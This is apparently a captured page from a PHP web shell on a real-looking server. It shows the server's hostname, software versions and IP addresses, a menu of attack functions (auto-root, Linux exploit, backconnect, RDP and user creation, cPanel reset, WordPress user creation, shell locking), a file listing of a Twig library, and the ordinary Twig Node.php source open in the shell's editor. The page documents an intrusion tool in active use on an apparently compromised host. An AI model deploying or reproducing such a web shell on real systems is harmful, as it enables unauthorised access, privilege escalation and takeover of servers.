Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
cwpsrv /
var /
services /
twig /
lib /
Twig /
[ HOME SHELL ]
Name
Size
Permission
Action
Cache
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Extension
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
Node
[ DIR ]
drwxr-xr-x
NodeVisitor
[ DIR ]
drwxr-xr-x
Profiler
[ DIR ]
drwxr-xr-x
Sandbox
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
TokenParser
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
BaseNodeVisitor.php
1.12
KB
-rw-r--r--
CacheInterface.php
1.35
KB
-rw-r--r--
Compiler.php
5.42
KB
-rw-r--r--
ContainerRuntimeLoader.php
867
B
-rw-r--r--
Environment.php
26.4
KB
-rw-r--r--
Error.php
8
KB
-rw-r--r--
ExistsLoaderInterface.php
327
B
-rw-r--r--
ExpressionParser.php
27.71
KB
-rw-r--r--
Extension.php
701
B
-rw-r--r--
ExtensionInterface.php
1.33
KB
-rw-r--r--
ExtensionSet.php
12.53
KB
-rw-r--r--
FactoryRuntimeLoader.php
797
B
-rw-r--r--
FileExtensionEscapingStrategy....
1.39
KB
-rw-r--r--
Filter.php
2.99
KB
-rw-r--r--
Function.php
2.77
KB
-rw-r--r--
Lexer.php
15.16
KB
-rw-r--r--
LoaderInterface.php
1.61
KB
-rw-r--r--
Markup.php
795
B
-rw-r--r--
Node.php
4.6
KB
-rw-r--r--
NodeCaptureInterface.php
367
B
-rw-r--r--
NodeOutputInterface.php
346
B
-rw-r--r--
NodeTraverser.php
1.9
KB
-rw-r--r--
NodeVisitorInterface.php
1017
B
-rw-r--r--
Parser.php
10.22
KB
-rw-r--r--
RuntimeLoaderInterface.php
701
B
-rw-r--r--
SimpleFilter.php
307
B
-rw-r--r--
SimpleFunction.php
311
B
-rw-r--r--
SimpleTest.php
303
B
-rw-r--r--
Source.php
966
B
-rw-r--r--
SourceContextLoaderInterface.p...
334
B
-rw-r--r--
Template.php
12.05
KB
-rw-r--r--
TemplateWrapper.php
3
KB
-rw-r--r--
Test.php
1.87
KB
-rw-r--r--
Token.php
5.59
KB
-rw-r--r--
TokenParser.php
606
B
-rw-r--r--
TokenParserInterface.php
818
B
-rw-r--r--
TokenStream.php
3.69
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Node.php
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * (c) Armin Ronacher * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ /** * Represents a node in the AST. * * @author Fabien Potencier <fabien@symfony.com> */ class Twig_Node implements Countable, IteratorAggregate { protected $nodes; protected $attributes; protected $lineno; protected $tag; private $name; /** * Constructor. * * The nodes are automatically made available as properties ($this->node). * The attributes are automatically made available as array items ($this['name']). * * @param array $nodes An array of named nodes * @param array $attributes An array of attributes (should not be nodes) * @param int $lineno The line number * @param string $tag The tag name associated with the Node */ public function __construct(array $nodes = array(), array $attributes = array(), $lineno = 0, $tag = null) { foreach ($nodes as $name => $node) { if (!$node instanceof self) { throw new InvalidArgumentException( sprintf( 'Using "%s" for the value of node "%s" of "%s" is not supported. You must pass a Twig_Node instance.', ((is_object($node) ? get_class($node) : null === $node) ? 'null' : gettype($node)), $name, get_class($this) ) ); } } $this->nodes = $nodes; $this->attributes = $attributes; $this->lineno = $lineno; $this->tag = $tag; } public function __toString() { $attributes = array(); foreach ($this->attributes as $name => $value) { $attributes[] = sprintf('%s: %s', $name, str_replace("\n", '', var_export($value, true))); } $repr = array(get_class($this).'('.implode(', ', $attributes)); if (count($this->nodes)) { foreach ($this->nodes as $name => $node) { $len = strlen($name) + 4; $noderepr = array(); foreach (explode("\n", (string) $node) as $line) { $noderepr[] = str_repeat(' ', $len).$line; } $repr[] = sprintf(' %s: %s', $name, ltrim(implode("\n", $noderepr))); } $repr[] = ')'; } else { $repr[0] .= ')'; } return implode("\n", $repr); } public function compile(Twig_Compiler $compiler) { foreach ($this->nodes as $node) { $node->compile($compiler); } } public function getTemplateLine() { return $this->lineno; } public function getNodeTag() { return $this->tag; } /** * @return bool */ public function hasAttribute($name) { return array_key_exists($name, $this->attributes); } /** * @return mixed */ public function getAttribute($name) { if (!array_key_exists($name, $this->attributes)) { throw new LogicException(sprintf('Attribute "%s" does not exist for Node "%s".', $name, get_class($this))); } return $this->attributes[$name]; } /** * @param string $name * @param mixed $value */ public function setAttribute($name, $value) { $this->attributes[$name] = $value; } public function removeAttribute($name) { unset($this->attributes[$name]); } /** * @return bool */ public function hasNode($name) { return isset($this->nodes[$name]); } /** * @return Twig_Node */ public function getNode($name) { if (!isset($this->nodes[$name])) { throw new LogicException(sprintf('Node "%s" does not exist for Node "%s".', $name, get_class($this))); } return $this->nodes[$name]; } public function setNode($name, Twig_Node $node) { $this->nodes[$name] = $node; } public function removeNode($name) { unset($this->nodes[$name]); } public function count() { return count($this->nodes); } public function getIterator() { return new ArrayIterator($this->nodes); } public function setTemplateName($name) { $this->name = $name; foreach ($this->nodes as $node) { $node->setTemplateName($name); } } public function getTemplateName() { return $this->name; } }
Close